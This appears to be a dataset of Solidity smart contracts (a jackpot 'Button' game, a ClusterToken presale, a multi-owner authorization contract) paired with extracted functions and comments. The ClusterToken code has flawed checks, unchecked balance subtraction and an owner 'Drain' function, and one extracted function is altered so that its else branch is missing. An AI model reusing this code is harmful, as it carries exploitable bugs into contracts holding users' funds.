1%) uint charityFraction;/// This much will go to charity uint jackpotFraction;/// This much will go to the winner (last presser) uint newCampaignFraction;/// This much will go to the next campaign starting balance address lastPresser; uint64 deadline; uint40 presses; uint32 n; uint32 period; bool finalized; Account total;/// base account to hold all the value until the campaign is finalized } uint public lastCampaignID; ButtonCampaign[] campaigns; /// implemented in the child contract function press() public payable; function () public payable { press(); } ///Getters: ///Check if there's an active campaign function active() public view returns(bool) { if(campaigns.length == 0) { return false; } else { return campaigns[lastCampaignID].deadline >= now; } } ///Get information about the latest campaign or the next campaign if the last campaign has ended, but no new one has started function latestData() external view returns( uint price, uint jackpot, uint char, uint64 deadline, uint presses, address lastPresser ) { price = this.price(); jackpot = this.jackpot(); char = this.charityBalance(); deadline = this.deadline(); presses = this.presses(); lastPresser = this.lastPresser(); } ///Get the latest parameters function latestParams() external view returns( uint jackF, uint revF, uint charF, uint priceMul, uint nParam ) { jackF = this.jackpotFraction(); revF = this.revenueFraction(); charF = this.charityFraction(); priceMul = this.priceMultiplier(); nParam = this.n(); } ///Get the last winner address function lastWinner() external view returns(address) { if(campaigns.length == 0) { return address(0x0); } else { if(active()) { return this.winner(lastCampaignID - 1); } else { return this.winner(lastCampaignID); } } } ///Get the total stats (cumulative for all campaigns) function totalsData() external view returns(uint _totalWon, uint _totalCharity, uint _totalPresses) { _totalWon = this.totalWon(); _totalCharity = this.totalCharity(); _totalPresses = this.totalPresses(); } /// The latest price for pressing the button function price() external view returns(uint) { if(active()) { return campaigns[lastCampaignID].price; } else { return startingPrice; } } /// The latest jackpot fraction - note the fractions can be changed, but they don't affect any currently running campaign function jackpotFraction() public view returns(uint) { if(active()) { return campaigns[lastCampaignID].jackpotFraction; } else { return _jackpotFraction; } } /// The latest revenue fraction function revenueFraction() public view returns(uint) { if(active()) { return campaigns[lastCampaignID].devFraction; } else { return _devFraction; } } /// The latest charity fraction function charityFraction() public view returns(uint) { if(active()) { return campaigns[lastCampaignID].charityFraction; } else { return _charityFraction; } } /// The latest price multiplier function priceMultiplier() public view returns(uint) { if(active()) { return campaigns[lastCampaignID].priceMultiplier; } else { return _priceMultiplier; } } /// The latest preiod function period() public view returns(uint) { if(active()) { return campaigns[lastCampaignID].period; } else { return _period; } } /// The latest N - the price will increase every Nth presses function n() public view returns(uint) { if(active()) { return campaigns[lastCampaignID].n; } else { return _n; } } /// How much time is left in seconds if there's a running campaign function timeLeft() external view returns(uint) { if (active()) { return campaigns[lastCampaignID].deadline - now; } else { return 0; } } /// What is the latest campaign's deadline function deadline() external view returns(uint64) { return campaigns[lastCampaignID].deadline; } /// The number of presses for the current campaign function presses() external view returns(uint) { if(active()) { return campaigns[lastCampaignID].presses; } else { return 0; } } /// Last presser function lastPresser() external view returns(address) { return campaigns[lastCampaignID].lastPresser; } /// Returns the winner for any given campaign ID function winner(uint campaignID) external view returns(address) { return campaigns[campaignID].lastPresser; } /// The current (or next) campaign's jackpot function jackpot() external view returns(uint) { if(active()){ return campaigns[lastCampaignID].total.balanceETH.wmul(campaigns[lastCampaignID].jackpotFraction); } else { if(!campaigns[lastCampaignID].finalized) { return campaigns[lastCampaignID].total.balanceETH.wmul(campaigns[lastCampaignID].jackpotFraction) .wmul(campaigns[lastCampaignID].newCampaignFraction); } else { return nextCampaign.balanceETH.wmul(_jackpotFraction); } } } /// Current/next campaign charity balance function charityBalance() external view returns(uint) { if(active()){ return campaigns[lastCampaignID].total.balanceETH.wmul(campaigns[lastCampaignID].charityFraction); } else { if(!campaigns[lastCampaignID].finalized) { return campaigns[lastCampaignID].total.balanceETH.wmul(campaigns[lastCampaignID].charityFraction) .wmul(campaigns[lastCampaignID].newCampaignFraction); } else { return nextCampaign.balanceETH.wmul(_charityFraction); } } } /// Revenue account current balance function revenueBalance() external view returns(uint) { return revenue.balanceETH; } /// The starting balance of the next campaign function nextCampaignBalance() external view returns(uint) { if(!campaigns[lastCampaignID].finalized) { return campaigns[lastCampaignID].total.balanceETH.wmul(campaigns[lastCampaignID].newCampaignFraction); } else { return nextCampaign.balanceETH; } } /// Total cumulative presses for all campaigns function totalPresses() external view returns(uint) { if (!campaigns[lastCampaignID].finalized) { return totalPresses.add(campaigns[lastCampaignID].presses); } else { return totalPresses; } } /// Total cumulative charity for all campaigns function totalCharity() external view returns(uint) { if (!campaigns[lastCampaignID].finalized) { return totalCharity.add(campaigns[lastCampaignID].total.balanceETH.wmul(campaigns[lastCampaignID].charityFraction)); } else { return totalCharity; } } /// Total cumulative revenue for all campaigns function totalRevenue() external view returns(uint) { if (!campaigns[lastCampaignID].finalized) { return totalRevenue.add(campaigns[lastCampaignID].total.balanceETH.wmul(campaigns[lastCampaignID].devFraction)); } else { return totalRevenue; } } /// Returns the balance of any winner function hasWon(address _guy) external view returns(uint) { return winners[_guy].balanceETH; } /// Functions for handling value /// Withdrawal function for winners function withdrawJackpot() public { require(winners[msg.sender].balanceETH > 0, "Nothing to withdraw!"); sendETH(winners[msg.sender], msg.sender, winners[msg.sender].balanceETH); } /// Any winner can chose to donate their jackpot function donateJackpot() public { require(winners[msg.sender].balanceETH > 0, "Nothing to donate!"); transferETH(winners[msg.sender], charity, winners[msg.sender].balanceETH); } /// Dev revenue withdrawal function function withdrawRevenue() public auth { sendETH(revenue, owner, revenue.balanceETH); } /// Dev charity transfer function - sends all of the charity balance to the pre-set charity address /// Note that there's nothing stopping the devs to wait and set the charity beneficiary to their own address /// and drain the charity balance for themselves. We would not do that as it would not make sense and it would /// damage our reputation, but this is the only "weak" spot of the contract where it requires trust in the devs function sendCharityETH(bytes callData) public auth { // donation receiver might be a contract, so transact instead of a simple send transact(charity, charityBeneficiary, charity.balanceETH, callData); } /// This allows the owner to withdraw surplus ETH function redeemSurplusETH() public auth { uint surplus = address(this).balance.sub(totalETH); balanceETH(base, surplus); sendETH(base, msg.sender, base.balanceETH); } /// This allows the owner to withdraw surplus Tokens function redeemSurplusERC20(address token) public auth { uint realTokenBalance = ERC20(token).balanceOf(this); uint surplus = realTokenBalance.sub(totalTokenBalances[token]); balanceToken(base, token, surplus); sendToken(base, token, msg.sender, base.tokenBalances[token]); } /// withdraw surplus ETH function withdrawBaseETH() public auth { sendETH(base, msg.sender, base.balanceETH); } /// withdraw surplus tokens function withdrawBaseERC20(address token) public auth { sendToken(base, token, msg.sender, base.tokenBalances[token]); } ///Setters /// Set button parameters function setButtonParams(uint startingPrice_, uint priceMul_, uint32 period_, uint32 n_) public auth limited(startingPrice_, 1 szabo, 10 ether) ///Parameters are limited limited(priceMul_, ONE_WAD, 10 * ONE_WAD) // 100% to 10000% (1x to 10x) limited(period_, 30 seconds, 1 weeks) { startingPrice = startingPrice_; _priceMultiplier = priceMul_; _period = period_; _n = n_; emit ButtonParamsChanged(startingPrice_, n_, period_, priceMul_); } /// Fractions must add up to 100%, and can only be set every 2 weeks function setAccountingParams(uint _devF, uint _charityF, uint _newCampF) public auth limited(_devF.add(_charityF).add(_newCampF), 0, ONE_WAD) // up to 100% - charity fraction could be set to 100% for special occasions timeLimited(2 weeks) { // can only be changed once every 4 weeks require(_charityF <= ONE_WAD); // charity fraction can be up to 100% require(_devF <= 20 * ONE_PERCENT_WAD); //can't set the dev fraction to more than 20% require(_newCampF <= 10 * ONE_PERCENT_WAD);//less than 10% _devFraction = _devF; _charityFraction = _charityF; _newCampaignFraction = _newCampF; _jackpotFraction = ONE_WAD.sub(_devF).sub(_charityF).sub(_newCampF); emit AccountingParamsChanged(_devF, _charityF, _jackpotFraction); } ///Charity beneficiary can only be changed every 13 weeks function setCharityBeneficiary(address _charity) public auth timeLimited(13 weeks) { require(_charity != address(0)); charityBeneficiary = _charity; emit CharityChanged(_charity); } } /// Main contract with key logic contract TheButton is ButtonBase { using DSMath for uint; ///If the contract is stopped no new campaigns can be started, but any running campaing is not affected bool public stopped; constructor() public { stopped = true; } /// Press logic function press() public payable { //the last campaign ButtonCampaign storage c = campaigns[lastCampaignID]; if (active()) {// if active _press(c);//register press depositETH(c.total, msg.sender, msg.value);// handle ETH } else { //if inactive (after deadline) require(!stopped, "Contract stopped!");//make sure we're not stopped if(!c.finalized) {//if not finalized _finalizeCampaign(c);// finalize last campaign } _newCampaign();// start new campaign c = campaigns[lastCampaignID]; _press(c);//resigter press depositETH(c.total, msg.sender, msg.value);//handle ETH } } function start() external payable auth { require(stopped, "Already started!"); stopped = false; if(campaigns.length != 0) {//if there was a past campaign ButtonCampaign storage c = campaigns[lastCampaignID]; require(c.finalized, "Last campaign not finalized!");//make sure it was finalized } _newCampaign();//start new campaign c = campaigns[lastCampaignID]; _press(c); depositETH(c.total, msg.sender, msg.value);// deposit ETH } ///Stopping will only affect new campaigns, not already running ones function stop() external auth { require(!stopped, "Already stopped!"); stopped = true; } /// Anyone can finalize campaigns in case the devs stop the contract function finalizeLastCampaign() external { require(stopped); ButtonCampaign storage c = campaigns[lastCampaignID]; _finalizeCampaign(c); } function finalizeCampaign(uint id) external { require(stopped); ButtonCampaign storage c = campaigns[id]; _finalizeCampaign(c); } //Press logic function _press(ButtonCampaign storage c) internal { require(c.deadline >= now, "After deadline!");//must be before the deadline require(msg.value >= c.price, "Not enough value!");// must have at least the price value c.presses += 1;//no need for safe math, as it is not a critical calculation c.lastPresser = msg.sender; if(c.presses % c.n == 0) {// increase the price every n presses c.price = c.price.wmul(c.priceMultiplier); } emit Pressed(msg.sender, msg.value, c.deadline - uint64(now)); c.deadline = uint64(now.add(c.period)); // set the new deadline } /// starting a new campaign function _newCampaign() internal { require(!active(), "A campaign is already running!"); require(_devFraction.add(_charityFraction).add(_jackpotFraction).add(_newCampaignFraction) == ONE_WAD, "Accounting is incorrect!"); uint _campaignID = campaigns.length++; ButtonCampaign storage c = campaigns[_campaignID]; lastCampaignID = _campaignID; c.price = startingPrice; c.priceMultiplier = _priceMultiplier; c.devFraction = _devFraction; c.charityFraction = _charityFraction; c.jackpotFraction = _jackpotFraction; c.newCampaignFraction = _newCampaignFraction; c.deadline = uint64(now.add(_period)); c.n = _n; c.period = _period; c.total.name = keccak256(abi.encodePacked("Total", lastCampaignID));//setting the name of the campaign's accaount transferETH(nextCampaign, c.total, nextCampaign.balanceETH); emit Started(c.total.balanceETH, _period, lastCampaignID); } /// Finalize campaign logic function _finalizeCampaign(ButtonCampaign storage c) internal { require(c.deadline < now, "Before deadline!"); require(!c.finalized, "Already finalized!"); if(c.presses != 0) {//If there were presses uint totalBalance = c.total.balanceETH; //Handle all of the accounting transferETH(c.total, winners[c.lastPresser], totalBalance.wmul(c.jackpotFraction)); winners[c.lastPresser].name = bytes32(c.lastPresser); totalWon = totalWon.add(totalBalance.wmul(c.jackpotFraction)); transferETH(c.total, revenue, totalBalance.wmul(c.devFraction)); totalRevenue = totalRevenue.add(totalBalance.wmul(c.devFraction)); transferETH(c.total, charity, totalBalance.wmul(c.charityFraction)); totalCharity = totalCharity.add(totalBalance.wmul(c.charityFraction)); //avoiding rounding errors - just transfer the leftover // transferETH(c.total, nextCampaign, c.total.balanceETH); totalPresses = totalPresses.add(c.presses); emit Winrar(c.lastPresser, totalBalance.wmul(c.jackpotFraction)); } // if there will be no next campaign if(stopped) { //transfer leftover to devs' base account transferETH(c.total, base, c.total.balanceETH); } else { //otherwise transfer to next campaign transferETH(c.total, nextCampaign, c.total.balanceETH); } c.finalized = true; } }
Total cumulative presses for all campaigns
function totalPresses() external view returns(uint) { if (!campaigns[lastCampaignID].finalized) { return totalPresses.add(campaigns[lastCampaignID].presses); return totalPresses; } }
7,266,184
pragma solidity ^0.4.11; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function div(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner { if (msg.sender != owner) throw; _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { bool public stopped; modifier stopInEmergency { if (stopped) { throw; } _; } modifier onlyInEmergency { if (!stopped) { throw; } _; } // called by the owner on emergency, triggers stopped state function emergencyStop() external onlyOwner { stopped = true; } // called by the owner on end of emergency, returns to normal state function release() external onlyOwner onlyInEmergency { stopped = false; } } /** * @title PullPayment * @dev Base contract supporting async send for pull payments. Inherit from this * contract and use asyncSend instead of send. */ contract PullPayment { using SafeMath for uint; mapping(address => uint) public payments; event LogRefundETH(address to, uint value); /** * Store sent amount as credit to be pulled, called by payer **/ function asyncSend(address dest, uint amount) internal { payments[dest] = payments[dest].add(amount); } // withdraw accumulated balance, called by payee function withdrawPayments() { address payee = msg.sender; uint payment = payments[payee]; if (payment == 0) { throw; } if (this.balance < payment) { throw; } payments[payee] = 0; if (!payee.send(payment)) { throw; } LogRefundETH(payee,payment); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; /* * Fix for the ERC20 short address attack */ modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { throw; } _; } function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } function approve(address _spender, uint _value) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * ClusterToken presale contract. */ contract ClusterToken is StandardToken, PullPayment, Ownable, Pausable { using SafeMath for uint; struct Backer { address buyer; uint contribution; uint withdrawnAtSegment; uint withdrawnAtCluster; bool state; } /** * Variables */ string public constant name = "ClusterToken"; string public constant symbol = "CLRT"; uint256 public constant decimals = 18; uint256 private buyPriceEth = 10000000000000000; uint256 public initialBlockCount; uint256 private testBlockEnd; uint256 public contributors; uint256 private minedBlocks; uint256 private ClusterCurrent; uint256 private SegmentCurrent; uint256 private UnitCurrent; mapping(address => Backer) public backers; /** * @dev Contract constructor */ function ClusterToken() { totalSupply = 750000000000000000000; balances[msg.sender] = totalSupply; initialBlockCount = 4086356; contributors = 0; } /** * @return Returns the current amount of CLUSTERS */ function currentCluster() constant returns (uint256 currentCluster) { uint blockCount = block.number - initialBlockCount; uint result = blockCount.div(1000000); return result; } /** * @return Returns the current amount of SEGMENTS */ function currentSegment() constant returns (uint256 currentSegment) { uint blockCount = block.number - initialBlockCount; uint newSegment = currentCluster().mul(1000); uint result = blockCount.div(1000).sub(newSegment); return result; } /** * @return Returns the current amount of UNITS */ function currentUnit() constant returns (uint256 currentUnit) { uint blockCount = block.number - initialBlockCount; uint getClusters = currentCluster().mul(1000000); uint newUnit = currentSegment().mul(1000); return blockCount.sub(getClusters).sub(newUnit); } /** * @return Returns the current network block */ function currentBlock() constant returns (uint256 blockNumber) { return block.number - initialBlockCount; } /** * @dev Allows users to buy CLUSTER and receive their tokens at once. * @return The amount of CLUSTER bought by sender. */ function buyClusterToken() payable returns (uint amount) { if (balances[this] < amount) throw; amount = msg.value.mul(buyPriceEth).div(1 ether); balances[msg.sender] += amount; balances[this] -= amount; Transfer(this, msg.sender, amount); Backer backer = backers[msg.sender]; backer.contribution = backer.contribution.add(amount); backer.withdrawnAtSegment = backer.withdrawnAtSegment.add(0); backer.withdrawnAtCluster = backer.withdrawnAtCluster.add(0); backer.state = backer.state = true; contributors++; return amount; } /** * @dev Allows users to claim CLUSTER every 1000 SEGMENTS (1.000.000 blocks). * @return The amount of CLUSTER claimed by sender. */ function claimClusters() public returns (uint amount) { if (currentSegment() == 0) throw; if (!backers[msg.sender].state) throw; uint previousWithdraws = backers[msg.sender].withdrawnAtCluster; uint entitledToClusters = currentCluster().sub(previousWithdraws); if (entitledToClusters == 0) throw; if (!isEntitledForCluster(msg.sender)) throw; uint userShares = backers[msg.sender].contribution.div(1 finney); uint amountForPayout = buyPriceEth.div(contributors); amount = amountForPayout.mul(userShares).mul(1000); balances[msg.sender] += amount; balances[this] -= amount; Transfer(this, msg.sender, amount); backers[msg.sender].withdrawnAtCluster = currentCluster(); return amount; } /** * @dev Allows users to claim segments every 1000 UNITS (blocks). * @dev NOTE: Users claiming SEGMENTS instead of CLUSTERS get only half of the reward. * @return The amount of SEGMENTS claimed by sender. */ function claimSegments() public returns (uint amount) { if (currentSegment() == 0) throw; if (!backers[msg.sender].state) throw; uint previousWithdraws = currentCluster().add(backers[msg.sender].withdrawnAtSegment); uint entitledToSegments = currentCluster().add(currentSegment().sub(previousWithdraws)); if (entitledToSegments == 0 ) throw; uint userShares = backers[msg.sender].contribution.div(1 finney); uint amountForPayout = buyPriceEth.div(contributors); amount = amountForPayout.mul(userShares).div(10).div(2); balances[msg.sender] += amount; balances[this] -= amount; Transfer(this, msg.sender, amount); backers[msg.sender].withdrawnAtSegment = currentSegment(); return amount; } /** * @dev Function if users send funds to this contract, call the buy function. */ function() payable { if (msg.sender != owner) { buyClusterToken(); } } /** * @dev Allows owner to withdraw funds from the account. */ function Drain() onlyOwner public { if(this.balance > 0) { if (!owner.send(this.balance)) throw; } } /** * Burn away the specified amount of ClusterToken tokens. * @return Returns success boolean. */ function burn(uint _value) onlyOwner returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Transfer(msg.sender, 0x0, _value); return true; } /** * @dev Internal check to see if at least 1000 segments passed without withdrawal prior to rewarding a cluster */ function isEntitledForCluster(address _sender) private constant returns (bool) { uint t1 = currentCluster().mul(1000).add(currentSegment()); uint t2 = backers[_sender].withdrawnAtSegment; if (t1.sub(t2) >= 1000) { return true; } return false; } }
called by the owner on end of emergency, returns to normal state
function release() external onlyOwner onlyInEmergency { stopped = false; }
1,792,588
pragma solidity ^0.4.24; interface itoken { function freezeAccount(address _target, bool _freeze) external; function freezeAccountPartialy(address _target, uint256 _value) external; function balanceOf(address _owner) external view returns (uint256 balance); // function totalSupply() external view returns (uint256); // function transferOwnership(address newOwner) external; function allowance(address _owner, address _spender) external view returns (uint256); function initialCongress(address _congress) external; function mint(address _to, uint256 _amount) external returns (bool); function finishMinting() external returns (bool); function pause() external; function unpause() external; } library StringUtils { /// @dev Does a byte-by-byte lexicographical comparison of two strings. /// @return a negative number if `_a` is smaller, zero if they are equal /// and a positive numbe if `_b` is smaller. function compare(string _a, string _b) public pure returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; //@todo unroll the loop into increments of 32 and do full 32 byte comparisons for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } /// @dev Compares two strings and returns true iff they are equal. function equal(string _a, string _b) public pure returns (bool) { return compare(_a, _b) == 0; } /// @dev Finds the index of the first occurrence of _needle in _haystack function indexOf(string _haystack, string _needle) public pure returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) // since we have to be able to return -1 (if the char isn't found or input error), this function must return an "int" type with a max length of (2^128 - 1) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { // found the first char of b subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) {// search until the chars don't match or until we reach the end of a or b subindex++; } if(subindex == n.length) return int(i); } } return -1; } } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } contract DelayedClaimable is Claimable { uint256 public end; uint256 public start; /** * @dev Used to specify the time period during which a pending * owner can claim ownership. * @param _start The earliest time ownership can be claimed. * @param _end The latest time ownership can be claimed. */ function setLimits(uint256 _start, uint256 _end) onlyOwner public { require(_start <= _end); end = _end; start = _start; } /** * @dev Allows the pendingOwner address to finalize the transfer, as long as it is called within * the specified start and end time. */ function claimOwnership() onlyPendingOwner public { require((block.number <= end) && (block.number >= start)); emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); end = 0; } } contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address addr, string roleName); event RoleRemoved(address addr, string roleName); /** * @dev reverts if addr does not have role * @param addr address * @param roleName the name of the role * // reverts */ function checkRole(address addr, string roleName) view public { roles[roleName].check(addr); } /** * @dev determine if addr has role * @param addr address * @param roleName the name of the role * @return bool */ function hasRole(address addr, string roleName) view public returns (bool) { return roles[roleName].has(addr); } /** * @dev add a role to an address * @param addr address * @param roleName the name of the role */ function addRole(address addr, string roleName) internal { roles[roleName].add(addr); emit RoleAdded(addr, roleName); } /** * @dev remove a role from an address * @param addr address * @param roleName the name of the role */ function removeRole(address addr, string roleName) internal { roles[roleName].remove(addr); emit RoleRemoved(addr, roleName); } /** * @dev modifier to scope access to a single role (uses msg.sender as addr) * @param roleName the name of the role * // reverts */ modifier onlyRole(string roleName) { checkRole(msg.sender, roleName); _; } /** * @dev modifier to scope access to a set of roles (uses msg.sender as addr) * @param roleNames the names of the roles to scope access to * // reverts * * @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this * see: https://github.com/ethereum/solidity/issues/2467 */ // modifier onlyRoles(string[] roleNames) { // bool hasAnyRole = false; // for (uint8 i = 0; i < roleNames.length; i++) { // if (hasRole(msg.sender, roleNames[i])) { // hasAnyRole = true; // break; // } // } // require(hasAnyRole); // _; // } } contract MultiOwners is DelayedClaimable, RBAC { using SafeMath for uint256; using StringUtils for string; mapping (string => uint256) private authorizations; mapping (address => string) private ownerOfSides; // mapping (string => mapping (string => bool)) private voteResults; mapping (string => uint256) private sideExist; mapping (string => mapping (string => address[])) private sideVoters; address[] public owners; string[] private authTypes; // string[] private ownerSides; uint256 public multiOwnerSides; uint256 ownerSidesLimit = 5; // uint256 authRate = 75; bool initAdd = true; event OwnerAdded(address addr, string side); event OwnerRemoved(address addr); event InitialFinished(); string public constant ROLE_MULTIOWNER = "multiOwner"; string public constant AUTH_ADDOWNER = "addOwner"; string public constant AUTH_REMOVEOWNER = "removeOwner"; // string public constant AUTH_SETAUTHRATE = "setAuthRate"; /** * @dev Throws if called by any account that's not multiOwners. */ modifier onlyMultiOwners() { checkRole(msg.sender, ROLE_MULTIOWNER); _; } /** * @dev Throws if not in initializing stage. */ modifier canInitial() { require(initAdd); _; } /** * @dev the msg.sender will authorize a type of event. * @param _authType the event type need to be authorized */ function authorize(string _authType) onlyMultiOwners public { string memory side = ownerOfSides[msg.sender]; address[] storage voters = sideVoters[side][_authType]; if (voters.length == 0) { // if the first time to authorize this type of event authorizations[_authType] = authorizations[_authType].add(1); // voteResults[side][_authType] = true; } // add voters of one side uint j = 0; for (; j < voters.length; j = j.add(1)) { if (voters[j] == msg.sender) { break; } } if (j >= voters.length) { voters.push(msg.sender); } // add the authType for clearing auth uint i = 0; for (; i < authTypes.length; i = i.add(1)) { if (authTypes[i].equal(_authType)) { break; } } if (i >= authTypes.length) { authTypes.push(_authType); } } /** * @dev the msg.sender will clear the authorization he has given for the event. * @param _authType the event type need to be authorized */ function deAuthorize(string _authType) onlyMultiOwners public { string memory side = ownerOfSides[msg.sender]; address[] storage voters = sideVoters[side][_authType]; for (uint j = 0; j < voters.length; j = j.add(1)) { if (voters[j] == msg.sender) { delete voters[j]; break; } } // if the sender has authorized this type of event, will remove its vote if (j < voters.length) { for (uint jj = j; jj < voters.length.sub(1); jj = jj.add(1)) { voters[jj] = voters[jj.add(1)]; } delete voters[voters.length.sub(1)]; voters.length = voters.length.sub(1); // if there is no votes of one side, the authorization need to be decreased if (voters.length == 0) { authorizations[_authType] = authorizations[_authType].sub(1); // voteResults[side][_authType] = true; } // if there is no authorization on this type of event, // this event need to be removed from the list if (authorizations[_authType] == 0) { for (uint i = 0; i < authTypes.length; i = i.add(1)) { if (authTypes[i].equal(_authType)) { delete authTypes[i]; break; } } for (uint ii = i; ii < authTypes.length.sub(1); ii = ii.add(1)) { authTypes[ii] = authTypes[ii.add(1)]; } delete authTypes[authTypes.length.sub(1)]; authTypes.length = authTypes.length.sub(1); } } } /** * @dev judge if the event has already been authorized. * @param _authType the event type need to be authorized */ function hasAuth(string _authType) public view returns (bool) { require(multiOwnerSides > 1); // at least 2 sides have authorized // uint256 rate = authorizations[_authType].mul(100).div(multiOwnerNumber) return (authorizations[_authType] == multiOwnerSides); } /** * @dev clear all the authorizations that have been given for a type of event. * @param _authType the event type need to be authorized */ function clearAuth(string _authType) internal { authorizations[_authType] = 0; // clear authorizations for (uint i = 0; i < owners.length; i = i.add(1)) { string memory side = ownerOfSides[owners[i]]; address[] storage voters = sideVoters[side][_authType]; for (uint j = 0; j < voters.length; j = j.add(1)) { delete voters[j]; // clear votes of one side } voters.length = 0; } // clear this type of event for (uint k = 0; k < authTypes.length; k = k.add(1)) { if (authTypes[k].equal(_authType)) { delete authTypes[k]; break; } } for (uint kk = k; kk < authTypes.length.sub(1); kk = kk.add(1)) { authTypes[kk] = authTypes[kk.add(1)]; } delete authTypes[authTypes.length.sub(1)]; authTypes.length = authTypes.length.sub(1); } /** * @dev add an address as one of the multiOwners. * @param _addr the account address used as a multiOwner */ function addAddress(address _addr, string _side) internal { require(multiOwnerSides < ownerSidesLimit); require(_addr != address(0)); require(ownerOfSides[_addr].equal("")); // not allow duplicated adding // uint i = 0; // for (; i < owners.length; i = i.add(1)) { // if (owners[i] == _addr) { // break; // } // } // if (i >= owners.length) { owners.push(_addr); // for not allowing duplicated adding, so each addr should be new 